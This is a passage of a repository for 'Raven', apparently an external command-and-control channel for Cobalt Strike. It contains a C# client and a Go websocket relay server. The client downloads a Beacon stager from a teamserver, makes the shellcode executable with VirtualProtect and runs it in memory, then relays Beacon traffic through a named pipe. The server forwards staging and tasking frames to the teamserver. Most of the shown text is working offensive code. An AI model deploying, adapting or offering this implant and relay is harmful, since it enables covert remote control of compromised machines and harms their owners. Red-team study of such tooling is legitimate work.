(payload).GetRange(4, payload.Length - 4).ToArray();
#if DEBUG
File.WriteAllBytes("C:\\Windows\\Tasks\\smb_beacon.dll", payload);
Console.WriteLine("Beacon payload written to: C:\\Windows\\Tasks\\smb_beacon.dll");
#endif
Loader ldr = new Loader(payload);
Thread beaconThread = new Thread(() =>
{
ldr.LoadInCurrentProcess();
});
beaconThread.Start();
ConnectToBeacon();
dataAvailable = true;
}
break;
case MsgType.beacon:
byte[] frame = Convert.FromBase64String(msg.data);
writeFrame(client, frame);
dataAvailable = true;
break;
case MsgType.task:
break;
case MsgType.key:
break;
default:
break;
}
}
private static void on_error(object sender, SuperSocket.ClientEngine.ErrorEventArgs e)
{
#if DEBUG
Console.WriteLine("Received error from the raven server: " + e.Exception.Message);
#endif
}
private static void on_open(object sender, EventArgs e)
{
}
private static void on_closed(object sender, EventArgs e)
{
}
private static void ConnectToBeacon()
{
try
{
client.Connect(5000);
bacon = true;
}
catch (Exception e)
{
#if DEBUG
Console.WriteLine("Unable to connect to beacon: " + e.ToString());
#endif
bacon = false;
}
}
private static int readFrame(NamedPipeClientStream pipe, ref byte[] buffer)
{
byte[] size = new byte[4];
int bytesRead = 0;
int total = 0;
bytesRead = pipe.Read(size, 0, 4);
int numSize = BitConverter.ToInt32(size, 0);
while (total < numSize)
{
bytesRead = pipe.Read(buffer, total, numSize - total);
total += bytesRead;
Thread.Sleep(100);
}
return numSize;
}
private static void writeFrame(NamedPipeClientStream pipe, byte[] buffer)
{
pipe.Write(buffer, 0, 4);
pipe.Write(buffer, 4, buffer.Length - 4);
}
}
public class config
{
public string server;
public string pipeName;
public int block;
public bool auto;
public config()
{
auto = (bool)Properties.Resources.ResourceManager.GetObject("auto");
block = (int)Properties.Resources.ResourceManager.GetObject("block");
pipeName = Properties.Resources.ResourceManager.GetString("pipename");
server = Properties.Resources.ResourceManager.GetString("server");
}
}
public enum MsgType
{
stage = 1,
beacon = 2,
task = 3,
key = 4
}
public class RavenMessage
{
public int msgType;
public int length;
public string data;
}
}
================================================
FILE: client/netRaven/netRaven/Crypto.cs
================================================
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace netRaven
{
public class Crypto
{
// TODO: Implement crypto for non-beacon messages
}
}
================================================
FILE: client/netRaven/netRaven/Loader.cs
================================================
using System;
using System.Reflection;
using System.Reflection.Emit;
using System.Runtime.InteropServices;
using System.Security;
namespace netRaven
{
public class Loader
{
public Loader(byte[] payload, int processId = 0)
{
_bytes = payload;
_pid = processId;
}
public void LoadInCurrentProcess()
{
try
{
// Load and Execute beacon
GCHandle pinnedArray = GCHandle.Alloc(_bytes, GCHandleType.Pinned);
IntPtr funcAddr = pinnedArray.AddrOfPinnedObject();
Marshal.Copy(_bytes, 0, funcAddr, _bytes.Length);
uint flOldProtect;
VirtualProtect(funcAddr, (UIntPtr)_bytes.Length, 0x40, out flOldProtect);
runD del = (runD)Marshal.GetDelegateForFunctionPointer(funcAddr, typeof(runD));
del();
return;
}
catch (Exception e)
{
#if DEBUG
Console.WriteLine("Error loading beacon " + e.ToString());
#endif
return;
}
}
[DllImport("kernel32.dll")]
private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)]
public delegate Int32 runD();
public void LoadInRemoteProcess()
{
// TODO: Load in remote process via OpenProcess, VirtualAlloc, WriteProcess, NtCreateThread/CreateThread
}
private static byte[] _bytes;
private static int _pid;
}
}
================================================
FILE: client/netRaven/netRaven/Properties/AssemblyInfo.cs
================================================
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("netRaven")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("netRaven")]
[assembly: AssemblyCopyright("Copyright © 2018")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("987db73a-e387-4d58-92c0-e4212ebbdd2f")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
================================================
FILE: client/netRaven/netRaven/Properties/Resources.Designer.cs
================================================
//------------------------------------------------------------------------------
//
// This code was generated by a tool.
// Runtime Version:4.0.30319.42000
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
//
//------------------------------------------------------------------------------
namespace netRaven.Properties {
using System;
///
/// A strongly-typed resource class, for looking up localized strings, etc.
///
// This class was auto-generated by the StronglyTypedResourceBuilder
// class via a tool like ResGen or Visual Studio.
// To add or remove a member, edit your .ResX file then rerun ResGen
// with the /str option, or rebuild your VS project.
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
internal class Resources {
private static global::System.Resources.ResourceManager resourceMan;
private static global::System.Globalization.CultureInfo resourceCulture;
[global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
internal Resources() {
}
///
/// Returns the cached ResourceManager instance used by this class.
///
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Resources.ResourceManager ResourceManager {
get {
if (object.ReferenceEquals(resourceMan, null)) {
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("netRaven.Properties.Resources", typeof(Resources).Assembly);
resourceMan = temp;
}
return resourceMan;
}
}
///
/// Overrides the current thread's CurrentUICulture property for all
/// resource lookups using this strongly typed resource class.
///
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Globalization.CultureInfo Culture {
get {
return resourceCulture;
}
set {
resourceCulture = value;
}
}
}
}
================================================
FILE: client/netRaven/netRaven/Properties/Resources.resx
================================================
text/microsoft-resx
2.0
System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
ws://172.16.79.160:80/ws
Test_GLjF
100
True
================================================
FILE: client/netRaven/netRaven/TaskHandler.cs
================================================
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Runtime.InteropServices;
namespace netRaven
{
public class TaskHandler
{
public enum TaskType
{
exit = 0,
shell = 1,
processlist = 2,
download = 3,
upload = 4,
inject = 5,
upgrade = 6
}
public static void handleTask(TaskType t, byte[] taskData)
{
// TODO: Implement task handling logic
switch (t)
{
case TaskType.exit:
break;
case TaskType.shell:
break;
case TaskType.processlist:
break;
case TaskType.download:
break;
case TaskType.upload:
break;
case TaskType.inject:
break;
case TaskType.upgrade:
break;
default:
break;
}
}
}
}
================================================
FILE: client/netRaven/netRaven/netRaven.csproj
================================================
Debug
AnyCPU
{987DB73A-E387-4D58-92C0-E4212EBBDD2F}
Library
Properties
netRaven
netRaven
v3.5
512
true
full
false
bin\Debug\
DEBUG;TRACE
prompt
4
pdbonly
true
bin\Release\
TRACE
prompt
4
true
bin\x64\Debug\
DEBUG;TRACE
full
x64
prompt
MinimumRecommendedRules.ruleset
bin\x64\Release\
TRACE
true
pdbonly
x64
prompt
MinimumRecommendedRules.ruleset
true
bin\x86\Debug\
DEBUG;TRACE
full
x86
prompt
MinimumRecommendedRules.ruleset
bin\x86\Release\
TRACE
true
pdbonly
x86
prompt
MinimumRecommendedRules.ruleset
..\packages\SuperSocket.ClientEngine.Core.0.10.0\lib\net35-client\SuperSocket.ClientEngine.dll
True
..\packages\WebSocket4Net.0.15.2\lib\net35\WebSocket4Net.dll
True
True
True
Resources.resx
ResXFileCodeGenerator
Resources.Designer.cs
..\
This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.
powershell.exe -Command "Import-Module $(SolutionDir)\New-RavenHeader.ps1; New-RavenHeader -AssemblyPath $(TargetPath) | Out-File -FilePath $(SolutionDir)\Raven\netRaven_dll.hpp -Force"
================================================
FILE: client/netRaven/netRaven/packages.config
================================================
================================================
FILE: client/netRaven/netRaven.sln
================================================
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 14
VisualStudioVersion = 14.0.25420.1
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "netRaven", "netRaven\netRaven.csproj", "{987DB73A-E387-4D58-92C0-E4212EBBDD2F}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ravenDebug", "ravenDebug\ravenDebug.csproj", "{ADCA89F6-AA02-47B1-AAB1-C001EBE143E6}"
ProjectSection(ProjectDependencies) = postProject
{987DB73A-E387-4D58-92C0-E4212EBBDD2F} = {987DB73A-E387-4D58-92C0-E4212EBBDD2F}
EndProjectSection
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Raven", "Raven\Raven.vcxproj", "{CD4CC899-F931-4A5D-8B43-099F647C6127}"
ProjectSection(ProjectDependencies) = postProject
{987DB73A-E387-4D58-92C0-E4212EBBDD2F} = {987DB73A-E387-4D58-92C0-E4212EBBDD2F}
EndProjectSection
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|Any CPU = Release|Any CPU
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{987DB73A-E387-4D58-92C0-E4212EBBDD2F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{987DB73A-E387-4D58-92C0-E4212EBBDD2F}.Debug|Any CPU.Build.0 = Debug|Any CPU
{987DB73A-E387-4D58-92C0-E4212EBBDD2F}.Debug|x64.ActiveCfg = Debug|x64
{987DB73A-E387-4D58-92C0-E4212EBBDD2F}.Debug|x64.Build.0 = Debug|x64
{987DB73A-E387-4D58-92C0-E4212EBBDD2F}.Debug|x86.ActiveCfg = Debug|Any CPU
{987DB73A-E387-4D58-92C0-E4212EBBDD2F}.Debug|x86.Build.0 = Debug|Any CPU
{987DB73A-E387-4D58-92C0-E4212EBBDD2F}.Release|Any CPU.ActiveCfg = Release|Any CPU
{987DB73A-E387-4D58-92C0-E4212EBBDD2F}.Release|Any CPU.Build.0 = Release|Any CPU
{987DB73A-E387-4D58-92C0-E4212EBBDD2F}.Release|x64.ActiveCfg = Release|x64
{987DB73A-E387-4D58-92C0-E4212EBBDD2F}.Release|x64.Build.0 = Release|x64
{987DB73A-E387-4D58-92C0-E4212EBBDD2F}.Release|x86.ActiveCfg = Release|x86
{987DB73A-E387-4D58-92C0-E4212EBBDD2F}.Release|x86.Build.0 = Release|x86
{ADCA89F6-AA02-47B1-AAB1-C001EBE143E6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{ADCA89F6-AA02-47B1-AAB1-C001EBE143E6}.Debug|Any CPU.Build.0 = Debug|Any CPU
{ADCA89F6-AA02-47B1-AAB1-C001EBE143E6}.Debug|x64.ActiveCfg = Debug|Any CPU
{ADCA89F6-AA02-47B1-AAB1-C001EBE143E6}.Debug|x64.Build.0 = Debug|Any CPU
{ADCA89F6-AA02-47B1-AAB1-C001EBE143E6}.Debug|x86.ActiveCfg = Debug|Any CPU
{ADCA89F6-AA02-47B1-AAB1-C001EBE143E6}.Debug|x86.Build.0 = Debug|Any CPU
{ADCA89F6-AA02-47B1-AAB1-C001EBE143E6}.Release|Any CPU.ActiveCfg = Release|Any CPU
{ADCA89F6-AA02-47B1-AAB1-C001EBE143E6}.Release|Any CPU.Build.0 = Release|Any CPU
{ADCA89F6-AA02-47B1-AAB1-C001EBE143E6}.Release|x64.ActiveCfg = Release|Any CPU
{ADCA89F6-AA02-47B1-AAB1-C001EBE143E6}.Release|x64.Build.0 = Release|Any CPU
{ADCA89F6-AA02-47B1-AAB1-C001EBE143E6}.Release|x86.ActiveCfg = Release|Any CPU
{ADCA89F6-AA02-47B1-AAB1-C001EBE143E6}.Release|x86.Build.0 = Release|Any CPU
{CD4CC899-F931-4A5D-8B43-099F647C6127}.Debug|Any CPU.ActiveCfg = Debug|Win32
{CD4CC899-F931-4A5D-8B43-099F647C6127}.Debug|x64.ActiveCfg = Debug|x64
{CD4CC899-F931-4A5D-8B43-099F647C6127}.Debug|x64.Build.0 = Debug|x64
{CD4CC899-F931-4A5D-8B43-099F647C6127}.Debug|x86.ActiveCfg = Debug|Win32
{CD4CC899-F931-4A5D-8B43-099F647C6127}.Debug|x86.Build.0 = Debug|Win32
{CD4CC899-F931-4A5D-8B43-099F647C6127}.Release|Any CPU.ActiveCfg = Release|Win32
{CD4CC899-F931-4A5D-8B43-099F647C6127}.Release|x64.ActiveCfg = Release|x64
{CD4CC899-F931-4A5D-8B43-099F647C6127}.Release|x64.Build.0 = Release|x64
{CD4CC899-F931-4A5D-8B43-099F647C6127}.Release|x86.ActiveCfg = Release|Win32
{CD4CC899-F931-4A5D-8B43-099F647C6127}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
================================================
FILE: client/netRaven/ravenDebug/Program.cs
================================================
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using netRaven;
namespace ravenDebug
{
class Program
{
static void Main(string[] args)
{
Core.Run("");
}
}
}
================================================
FILE: client/netRaven/ravenDebug/Properties/AssemblyInfo.cs
================================================
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("ravenDebug")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("ravenDebug")]
[assembly: AssemblyCopyright("Copyright © 2018")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("adca89f6-aa02-47b1-aab1-c001ebe143e6")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
================================================
FILE: client/netRaven/ravenDebug/app.config
================================================
================================================
FILE: client/netRaven/ravenDebug/obj/Debug/ravenDebug.csproj.CoreCompileInputs.cache
================================================
ca1bc1cc4e3a79ab6c5a0649659501f83f9f59bb
================================================
FILE: client/netRaven/ravenDebug/ravenDebug.csproj
================================================
Debug
AnyCPU
{ADCA89F6-AA02-47B1-AAB1-C001EBE143E6}
Exe
Properties
ravenDebug
ravenDebug
v4.0
512
AnyCPU
true
full
false
bin\Debug\
DEBUG;TRACE
prompt
4
AnyCPU
pdbonly
true
bin\Release\
TRACE
prompt
4
False
..\netRaven\bin\Debug\netRaven.dll
================================================
FILE: externalc2.cna
================================================
# start the External C2 server and bind to 0.0.0.0:51002
# Modify the port as you see fit
externalc2_start("0.0.0.0", 51002);
================================================
FILE: server/handler.go
================================================
package main
import (
"bytes"
"encoding/base64"
"encoding/binary"
"fmt"
"io"
"net"
"net/http"
"strings"
"time"
"github.com/gorilla/websocket"
"github.com/zhuangsirui/binpacker"
)
var conn net.Conn
const (
stageMsg = 1
beaconMsg = 2
taskMsg = 3
keyMsg = 4
)
// TODO
/*
const (
processlist = 10
shell = 11
injectsc = 12
upgrade = 13
download = 14
upload = 15
exit = 16
failed = 17
)
*/
func createFrame(payload []byte) []byte {
buff := new(bytes.Buffer)
packer := binpacker.NewPacker(binary.LittleEndian, buff)
packer.PushUint32(uint32(len(payload))).PushBytes(payload)
if packer.Error() != nil {
return make([]byte, 0)
}
return buff.Bytes()
}
func readFrame(conn net.Conn) []byte {
// Read the frame length first.
frameSize := make([]byte, 4)
n, err := conn.Read(frameSize)
if err != nil {
if err != io.EOF {
fmt.Printf("Error reading frame: %v\n", err)
return frameSize
}
}
numSize := binary.LittleEndian.Uint32(frameSize)
sz := int(numSize)
buf := make([]byte, 0, sz)
tmp := make([]byte, sz)
totalRead := 0
for {
n, err = conn.Read(tmp)
if err != nil {
if err == io.EOF {
fmt.Printf("Reached EOF reading frame")
break
}
fmt.Printf("Error reading frame: %v", err)
break
}
totalRead += n
if totalRead == int(numSize) {
buf = append(buf, tmp[:n]...)
break
}
buf = append(buf, tmp[:n]...)
time.Sleep(100 * time.Millisecond)
}
finBuf := append(frameSize, buf...)
return finBuf
}
func socketHandler(w http.ResponseWriter, r *http.Request) {
conn, err := websocket.Upgrade(w, r, w.Header(), 1024*1024, 1024*1024)
if err != nil {
ravenlog("Websocket connection/upgrade failed")
http.Error(w, "Websocket connection failed", http.StatusBadRequest)
return
}
// handle the websocket connection
ravenlog("Handling websocket connection")
go manageClient(conn)
}
func HandleTaskResponse(tr string) bool {
// Decode the response and handle appropriately
/*decodedTaskResp*/
_, err := base64.StdEncoding.DecodeString(tr)
if err != nil {
ravenlog(fmt.Sprintf("Unable to base64 decode task response %v\n", err))
return false
}
// TODO: Implement logic to handle task responses and present them to the user
return true
}
func HandleStageRequest(sr string) ([]byte, bool) {
//Decode the request string and create the frame
req, err := base64.StdEncoding.DecodeString(sr)
if err != nil {
ravenlog(fmt.Sprintf("Unable to base64 decode stagerequest %v\n", err))
return nil, false
}
conn, err = net.Dial("tcp", *teamserver)
if err != nil {
ravenlog(fmt.Sprintf("Unable to connect to the teamserver %v\n", err))
return nil, false
}
options := strings.Split(string(req), ":")
archString := fmt.Sprintf("arch=%s", options[1])
pipenameString := fmt.Sprintf("pipename=%s", options[2])
blockString := fmt.Sprintf("block=%s", options[3])
fmt.Printf("Sending stage options\n")
for _, msg := range [4]string{archString, pipenameString, blockString, "go"} {
frm := createFrame([]byte(msg))
bytesWritten, err := conn.Write(frm)
if err != nil || bytesWritten == 0 {
fmt.Printf("conn.Write Failed: %s\n", err)
}
time.Sleep(1 * time.Second)
}
time.Sleep(5 * time.Second)
stager := readFrame(conn)
return stager, true
}
func manageClient(c *websocket.Conn) {
defer func() {
c.Close()
}()
type ravenMsg struct {
MsgType int `json:"msgType"`
Length int `json:"length"`
Data string `json:"data"`
}
newMsg := ravenMsg{}
for {
// Read a message from the client
err := c.ReadJSON(&newMsg)
if err != nil {
if !strings.Contains(err.Error(), "timeout") {
ravenlog(fmt.Sprintf("Error reading JSON: %v\n", err))
break
}
}
// Handle the message according to its type
switch newMsg.MsgType {
case stageMsg:
// Request a beacon stager from the teamserver
stager, success := HandleStageRequest(newMsg.Data)
if success {
respMsg := ravenMsg{}
respMsg.MsgType = stageMsg
respMsg.Length = len(stager)
respMsg.Data = base64.StdEncoding.EncodeToString(stager)
err = c.WriteJSON(&respMsg)
if err != nil {
ravenlog(fmt.Sprintf("Error writing JSON: %v\n", err))
break
}
} else {
ravenlog("HandleStageRequest failed")
}
case beaconMsg:
// Forward the frame to the server and return any new frames
decodedFrame, _ := base64.StdEncoding.DecodeString(newMsg.Data)
//frame := createFrame(decodedFrame)
v, err := conn.Write(decodedFrame)
if err != nil || v == 0 {
ravenlog(fmt.Sprintf("conn.Write failed: %s\n", err))
break
}
frame := readFrame(conn)
respMsg := ravenMsg{}
respMsg.MsgType = beaconMsg
respMsg.Length = len(frame)
respMsg.Data = base64.StdEncoding.EncodeToString(frame)
err = c.WriteJSON(&respMsg)
if err != nil {
ravenlog(fmt.Sprintf("Error writing JSON: %v\n", err))
break
}
case taskMsg:
// Handle the task response
success := HandleTaskResponse(newMsg.Data)
if success != true {
ravenlog("Failed to handle task response")
} else {
ravenlog("HandleTaskResponse returned true")
}
break
case keyMsg:
//TODO: Implement key negotiation logic
break
}
// TODO: Implement task queue logic. Check for new tasks and send them to the client.
}
}
================================================
FILE: server/index.html
================================================
Sample "Hello, World" Application
|
Sample "Hello, World" Application
|
This is the home page for the HelloWorld Web application.
To prove that they work, you can execute either of the following links:
================================================
FILE: server/main.go
================================================
package main
import (
"flag"
"fmt"
"log"
"net/http"
"os"
"github.com/kabukky/httpscerts"
)
// Author: @xorrior
// url:
// Purpose: Websocket server and client for cobaltstrike's external c2 component
var logger *log.Logger
var debug = flag.Bool("debug", false, "Enable debug output")
var teamserver = flag.String("teamserver", "", "IP Address and Port for the Cobaltstrike team server.")
var bindAddress = flag.String("server", "127.0.0.1:80", "Bind IP and Port for the Websocket Server")
var defaultPage = flag.String("defaultPage", "", "Local path to the html file to serve")
var removeDatabase = flag.Bool("clearDB", false, "Delete the sqlite database and create a new one")
var ssl = flag.Bool("ssl", false, "Use ssl for the websocket server. The server will check for a pre-existing cert and key file before generating a self-signed pair. (cert.pem and key.pem)")
// Reference: https://github.com/gorilla/websocket/blob/master/examples/chat/main.go#L15
func serveDefaultPage(w http.ResponseWriter, r *http.Request) {
log.Println("Received request", r.URL)
if r.URL.Path != "/" {
http.Error(w, "Not found", http.StatusNotFound)
return
}
if r.Method != "GET" {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}
http.ServeFile(w, r, *defaultPage)
}
func ravenlog(msg string) {
if logger != nil {
logger.Println(msg)
}
}
func main() {
flag.Parse()
// Check to make sure the homepage and teamserver flags were used
if *defaultPage == "" || *teamserver == "" {
flag.Usage()
os.Exit(1)
}
if *debug == true {
logger = log.New(os.Stdout, "raven: ", log.Lshortfile|log.LstdFlags)
}
http.HandleFunc("/", serveDefaultPage)
http.HandleFunc("/ws", socketHandler)
if *ssl == true {
err := httpscerts.Check("cert.pem", "key.pem")
if err != nil {
ravenlog("Generating SSL pem and private key.")
err = httpscerts.Generate("cert.pem", "key.pem", *bindAddress)
if err != nil {
log.Fatal("Error generating https certificates")
os.Exit(1)
}
}
ravenlog(fmt.Sprintf("Starting secure websockets server at wss://%s", *bindAddress))
err = http.ListenAndServeTLS(*bindAddress, "cert.pem", "key.pem", nil)
if err != nil {
log.Fatal("Failed to start raven server: ", err)
}
} else {
ravenlog(fmt.Sprintf("Starting websockets server at ws://%s", *bindAddress))
err := http.ListenAndServe(*bindAddress, nil)
if err != nil {
log.Fatal("Failed to start raven server: ", err)
}
}
}
================================================
FILE: server/setup.sh
================================================
#!/bin/bash
if (( $EUID != 0 )); then
echo "Please run this with sudo or as root"
exit
fi
apt-get install golang-go
go get -u github.com/kabukky/httpscerts
go get -u github.com/gorilla/websocket
go get -u github.com/zhuangsirui/binpacker
go build -o server main.go handler.go userhandler.go
echo "Run ./server -help for options"
echo "Done"
================================================
FILE: server/userhandler.go
================================================
package main
import (
"database/sql"
"fmt"
"log"
"os"
"github.com/graarh/golang-socketio"
"github.com/graarh/golang-socketio/transport"
)
const (
stringType = 0
intType = 1
fileType = 2
)
type Message struct {
TaskID int `json:"taskID"`
DataType int `json:"dataType"`
Data []byte `json:"data"`
}
type AuthMessage struct {
Username string `json:"username"`
Password string `json:"password"`
}
func startUIServer(clearDB bool) {
// Main function responsible for handling client connections
if clearDB {
setupDatabase()
}
server := gosocketio.NewServer(transport.GetDefaultWebsocketTransport())
//
server.On(gosocketio.OnConnection, func(c *gosocketio.Channel, args Message) {
fmt.Printf("Client with ID %s has connected\n", c.Id)
})
server.On("login", func(c *gosocketio.Channel, args AuthMessage) {
if args.Username == "" || args.Password == "" || args.Password != "HelloWorld!!@#" { //Testing password, please change
c.Emit("FailedLogin", Message{TaskID: 0, DataType: stringType, Data: []byte("Failed")})
} else {
// Send to the login function and add the user to the DB
login(c.Id(), args.Username, args.Password)
c.Emit("SuccessfulLogin", Message{TaskID: 0, DataType: stringType, Data: []byte("Success")})
}
})
}
func login(clientID string, username string, password string) {
// Authenticate users upon connection
}
func setupDatabase() {
_, err := os.OpenFile("raven.db", os.O_RDWR|os.O_CREATE, 0755)
if err != nil {
fmt.Printf("Error opening/creating database: %v\n", err)
os.Exit(1)
}
db, err := sql.Open("sqlite3", "raven.db")
if err != nil {
fmt.Println(err)
os.Exit(1)
}
_, err = db.Exec("CREATE TABLE `users` (`db_id` INTEGER PRIMARY KEY AUTOINCREMENT, `client_id` VARCHAR(64) NULL, `username` VARCHAR(128) NULL, `password` VARCHAR(128) NULL)")
if err != nil {
log.Fatal(err)
os.Exit(1)
}
_, err = db.Exec("CREATE TABLE `clients` ()") //TODO: Add clients table
}